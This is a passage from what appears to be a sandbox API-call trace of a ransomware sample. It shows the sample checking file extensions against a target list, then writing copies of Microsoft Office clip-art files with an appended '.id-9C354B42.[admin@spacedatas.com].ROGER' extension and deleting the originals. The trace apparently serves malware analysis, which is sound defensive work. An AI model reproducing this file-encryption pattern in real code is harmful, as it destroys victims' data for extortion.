lpString2=".WMF") returned 1 [0061.916] lstrlenW (lpString=".xlsx") returned 5 [0061.916] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.916] lstrlenW (lpString=".ppt") returned 4 [0061.916] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0061.916] lstrlenW (lpString=".zip") returned 4 [0061.916] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.916] lstrlenW (lpString=".rar") returned 4 [0061.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.917] lstrlenW (lpString=".bz2") returned 4 [0061.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.917] lstrlenW (lpString=".7z") returned 3 [0061.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0061.917] lstrlenW (lpString=".dbf") returned 4 [0061.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0061.917] lstrlenW (lpString=".1cd") returned 4 [0061.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0061.917] lstrlenW (lpString=".jpg") returned 4 [0061.917] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0061.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0061.917] lstrlenW (lpString=".doc") returned 4 [0061.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.917] lstrlenW (lpString=".docx") returned 5 [0061.917] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.917] lstrlenW (lpString=".pdf") returned 4 [0061.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.917] lstrlenW (lpString=".xls") returned 4 [0061.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.917] lstrlenW (lpString=".xlsx") returned 5 [0061.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.917] lstrlenW (lpString=".ppt") returned 4 [0061.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0061.917] lstrlenW (lpString=".zip") returned 4 [0061.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.917] lstrlenW (lpString=".rar") returned 4 [0061.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.917] lstrlenW (lpString=".bz2") returned 4 [0061.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.918] lstrlenW (lpString=".7z") returned 3 [0061.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0061.918] lstrlenW (lpString=".dbf") returned 4 [0061.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0061.918] lstrlenW (lpString=".1cd") returned 4 [0061.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0061.918] lstrlenW (lpString=".jpg") returned 4 [0061.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.918] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.918] lstrlenW (lpString="BL00105_.WMF") returned 12 [0061.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0061.919] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=880) returned 1 [0061.919] CloseHandle (hObject=0x32c) returned 1 [0061.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x20 [0061.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0061.919] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.919] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0061.920] GetLastError () returned 0x0 [0061.920] ReadFile (in: hFile=0x32c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x370, lpOverlapped=0x0) returned 1 [0061.921] WriteFile (in: hFile=0x3dc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x380, lpOverlapped=0x0) returned 1 [0061.922] ReadFile (in: hFile=0x32c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.922] WriteFile (in: hFile=0x3dc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.922] SetEndOfFile (hFile=0x3dc) returned 1 [0061.922] CloseHandle (hObject=0x3dc) returned 1 [0061.922] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.922] SetEndOfFile (hFile=0x32c) returned 1 [0061.923] CloseHandle (hObject=0x32c) returned 1 [0061.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0061.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0061.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0061.924] lstrlenW (lpString=".doc") returned 4 [0061.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.924] lstrlenW (lpString=".docx") returned 5 [0061.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.924] lstrlenW (lpString=".pdf") returned 4 [0061.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.924] lstrlenW (lpString=".xls") returned 4 [0061.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.924] lstrlenW (lpString=".xlsx") returned 5 [0061.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.924] lstrlenW (lpString=".ppt") returned 4 [0061.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0061.924] lstrlenW (lpString=".zip") returned 4 [0061.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.924] lstrlenW (lpString=".rar") returned 4 [0061.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.924] lstrlenW (lpString=".bz2") returned 4 [0061.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.924] lstrlenW (lpString=".7z") returned 3 [0061.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0061.924] lstrlenW (lpString=".dbf") returned 4 [0061.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0061.924] lstrlenW (lpString=".1cd") returned 4 [0061.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0061.924] lstrlenW (lpString=".jpg") returned 4 [0061.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0061.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0061.924] lstrlenW (lpString=".doc") returned 4 [0061.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.925] lstrlenW (lpString=".docx") returned 5 [0061.925] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.925] lstrlenW (lpString=".pdf") returned 4 [0061.925] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.925] lstrlenW (lpString=".xls") returned 4 [0061.925] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.925] lstrlenW (lpString=".xlsx") returned 5 [0061.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.925] lstrlenW (lpString=".ppt") returned 4 [0061.925] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0061.925] lstrlenW (lpString=".zip") returned 4 [0061.925] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.925] lstrlenW (lpString=".rar") returned 4 [0061.925] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.925] lstrlenW (lpString=".bz2") returned 4 [0061.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.925] lstrlenW (lpString=".7z") returned 3 [0061.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0061.925] lstrlenW (lpString=".dbf") returned 4 [0061.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0061.925] lstrlenW (lpString=".1cd") returned 4 [0061.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0061.925] lstrlenW (lpString=".jpg") returned 4 [0061.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.925] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.925] lstrlenW (lpString="BL00122_.WMF") returned 12 [0061.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0061.926] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=10146) returned 1 [0061.926] CloseHandle (hObject=0x32c) returned 1 [0061.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x20 [0061.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0061.926] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.926] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0061.926] GetLastError () returned 0x0 [0061.926] ReadFile (in: hFile=0x32c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x27a2, lpOverlapped=0x0) returned 1 [0061.928] WriteFile (in: hFile=0x3dc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0061.929] ReadFile (in: hFile=0x32c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.929] WriteFile (in: hFile=0x3dc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.929] SetEndOfFile (hFile=0x3dc) returned 1 [0061.929] CloseHandle (hObject=0x3dc) returned 1 [0061.929] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.929] SetEndOfFile (hFile=0x32c) returned 1 [0061.930] CloseHandle (hObject=0x32c) returned 1 [0061.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0061.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0061.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0061.931] lstrlenW (lpString=".doc") returned 4 [0061.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.931] lstrlenW (lpString=".docx") returned 5 [0061.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.931] lstrlenW (lpString=".pdf") returned 4 [0061.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.931] lstrlenW (lpString=".xls") returned 4 [0061.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.931] lstrlenW (lpString=".xlsx") returned 5 [0061.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.931] lstrlenW (lpString=".ppt") returned 4 [0061.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0061.931] lstrlenW (lpString=".zip") returned 4 [0061.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.931] lstrlenW (lpString=".rar") returned 4 [0061.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.931] lstrlenW (lpString=".bz2") returned 4 [0061.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.931] lstrlenW (lpString=".7z") returned 3 [0061.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0061.931] lstrlenW (lpString=".dbf") returned 4 [0061.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0061.931] lstrlenW (lpString=".1cd") returned 4 [0061.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0061.931] lstrlenW (lpString=".jpg") returned 4 [0061.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0061.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0061.931] lstrlenW (lpString=".doc") returned 4 [0061.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.931] lstrlenW (lpString=".docx") returned 5 [0061.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.932] lstrlenW (lpString=".pdf") returned 4 [0061.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.932] lstrlenW (lpString=".xls") returned 4 [0061.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.932] lstrlenW (lpString=".xlsx") returned 5 [0061.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.932] lstrlenW (lpString=".ppt") returned 4 [0061.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0061.932] lstrlenW (lpString=".zip") returned 4 [0061.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.932] lstrlenW (lpString=".rar") returned 4 [0061.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.932] lstrlenW (lpString=".bz2") returned 4 [0061.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.932] lstrlenW (lpString=".7z") returned 3 [0061.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0061.932] lstrlenW (lpString=".dbf") returned 4 [0061.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0061.932] lstrlenW (lpString=".1cd") returned 4 [0061.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0061.932] lstrlenW (lpString=".jpg") returned 4 [0061.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.932] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.932] lstrlenW (lpString="BL00130_.WMF") returned 12 [0061.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0061.933] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1464) returned 1 [0061.933] CloseHandle (hObject=0x32c) returned 1 [0061.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x20 [0061.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0061.933] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.933] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0061.933] GetLastError () returned 0x0 [0061.933] ReadFile (in: hFile=0x32c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x5b8, lpOverlapped=0x0) returned 1 [0061.935] WriteFile (in: hFile=0x3dc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0061.935] ReadFile (in: hFile=0x32c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.936] WriteFile (in: hFile=0x3dc, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.936] SetEndOfFile (hFile=0x3dc) returned 1 [0061.936] CloseHandle (hObject=0x3dc) returned 1 [0061.936] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.936] SetEndOfFile (hFile=0x32c) returned 1 [0061.937] CloseHandle (hObject=0x32c) returned 1 [0061.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0061.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0061.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0061.937] lstrlenW (lpString=".doc") returned 4 [0061.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.937] lstrlenW (lpString=".docx") returned 5 [0061.937] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.937] lstrlenW (lpString=".pdf") returned 4 [0061.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.938] lstrlenW (lpString=".xls") returned 4 [0061.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.938] lstrlenW (lpString=".xlsx") returned 5 [0061.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.938] lstrlenW (lpString=".ppt") returned 4 [0061.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0061.938] lstrlenW (lpString=".zip") returned 4 [0061.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.938] lstrlenW (lpString=".rar") returned 4 [0061.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.938] lstrlenW (lpString=".bz2") returned 4 [0061.938] lstrcmpiW 